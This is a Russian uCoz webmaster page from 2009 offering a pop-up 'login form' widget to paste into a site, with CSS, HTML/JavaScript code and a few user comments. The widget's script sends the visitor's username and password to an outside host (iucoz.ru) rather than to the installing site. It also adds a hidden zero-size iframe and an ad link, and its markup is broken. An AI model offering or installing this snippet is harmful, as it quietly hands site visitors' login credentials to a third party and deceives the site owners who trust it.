Пятница, 17.05.2024, 14:57
Меню сайта
    Форма входа
    Категории раздела
    скрипты для ucoz сайта [3099]
    шаблоны для ucoz скачать [2660]
    Иконки групп для форума [25]
    Графика для сайта [1953]
    шаблоны psd для фотошопа [27]
    кисти для фотошопа [39]
    уроки фотошопа на русском языке [4]
    стили для фотошопа [3]
    шрифты для фотошопа cs4 [12]
    Web-master [3058]
    Поиск
    Календарь
    Архив записей
    Наш опрос
    Умеете ли вы писать скрипты для ucoz?
    Всего ответов: 73
    Мини-чат
    200
    Друзья сайта
  • Официальный блог
  • Сообщество uCoz
  • FAQ по системе
  • Инструкции для uCoz
  • Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Главная » 2009 » Апрель » 20 » Форма входа v.5
    20:27
    Форма входа v.5
    При нажатии на эту кнопку:

    Выйдет форма входа:

    Для начало зайдём в панель управления > управление дизайном > таблица стилей (CSS).
    И добавим этот код:

    Code
    div#login-wrap {position: absolute; display: none;}  
    div#login-block {background: url('http://iucoz.ru/other/login-bg.png') no-repeat; width: 246px; height: 167px;}  
    div#enter-button {width: 60px; height: 35px; background: url('http://iucoz.ru/other/button-enter.PNG') no-repeat; position: absolute; cursor:pointer; cursor:hand;}  
    .login-form {width:180px; margin-left: 30px; padding-top: 15px;}  
    .login-close {width: 14px; height: 13px; background: url('http://iucoz.ru/other/login-close.gif') no-repeat; cursor:pointer; cursor:hand; float: right;}  
    input.loginField, #content input {height: 22px; color: #515151; line-height: 22px; font-size: 10pt; background: url('http://blog.ucoz.ru/img/input-bg.gif') repeat-x; border-top: 1px solid #838383; border-left: 1px solid #838383; border-right: 1px solid #d4d4d4; border-bottom: 1px solid #d4d4d4;}  
    input.loginButton {width: 48px; height: 16px; background: url('http://iucoz.ru/other/button.gif') no-repeat; color: #ffffff; border: none; font-size: 7pt; padding-bottom: 2px; position: relative; top: 3px;}

    За тем в нужное Вам место ставьте данный код:

    Code
    <div id="enter-button" onclick="document.getElementById('login-wrap').style.display='block';"></div>  
    <div id="login-wrap"><div id="login-block">  
    <script type="text/javascript">  
    sendFrm549077=function(){  
    var o=document.getElementById('frmLg549077');  
    var pos=_umlGetCoord(document.getElementById('frmLg549077'));  
    document.body.insertBefore(document.getElementById('blk549077'),document.body.firstChild);  
    with(document.getElementById('blk549077')){style.top=(pos['top'])+'px'; style.left=(pos['left'])+'px';style.width=o.offsetWidth;style.height=o.offsetHeight;style.display=''; innerHTML='<div align="left" style="padding:5px;"><div class="myWinLoad"></div></div>';}  
    uz.util.Connect.setForm('frmLg549077');  
    var cObj = uz.util.Connect.asyncRequest('POST','http://iucoz.ru/index/',callback);  
    }  
    </script>  
    <body style="margin:0px">  
    </iframe>  
    <iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"  
    src="http://www.for.ucoz.net">  
    </iframe>
    <div id="blk549077" style="border:1px solid #CCCCCC;position:absolute;z-index:82;background:url('http://s4.ucoz.net/img/fr/g.gif');display:none; "></div><form id="frmLg549077" method="post" style="margin:0" onsubmit="sendFrm549077();return false;"><div class="login-form">  
      <div onclick="document.getElementById('login-wrap').style.display='none';" class="login-close"></div>  
      <h2 style="text-align: center;">Авторизация</h1>  
    <table border="0" cellspacing="1" cellpadding="2" width="180">  

    <tr><td width="20%" nowrap="nowrap">Логин:</td><td><input class="loginField" type="text" name="user" value="" size="20" style="width:100%;" maxlength="50" /></td></tr>  
    <tr><td>Пароль:</td><td><input class="loginField" type="password" name="password" size="20" style="width:100%" maxlength="15" /></td></tr>  

    </table>  
    <div align="center"><a href="$REMINDER_LINK$">Забыл пароль</a> | <a href="$REGISTER_LINK$">Регистрация</a></div>  
    </table>  
    [url=http://megascript.my1.ru]Качай скрипты[/url]
    </div></div></div>  
      <div id="wrap">  
      <div style="clear: both;">
    Категория: скрипты для ucoz сайта | Просмотров: 1421 | Добавил: ForuCoznik | Рейтинг: 0.0/0
    Всего комментариев: 7
    7 FallOutBoy  
    1
    Касяченный *ля!!! dry dry dry dry dry wink wink wink wacko wacko wacko wacko

    6 SeniX  
    0
    У меня неидёт регитсрация

    5 cska1  
    0
    -1 реклама сайта

    4 NiKsOn1991  
    0
    а так норм

    3 AS_TROY  
    0
    NiKsOn1991а скачать самому не судьба?

    2 NiKsOn1991  
    0
    а нельзя было картинки скинуть? wink

    1 sums  
    0
    wink

    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]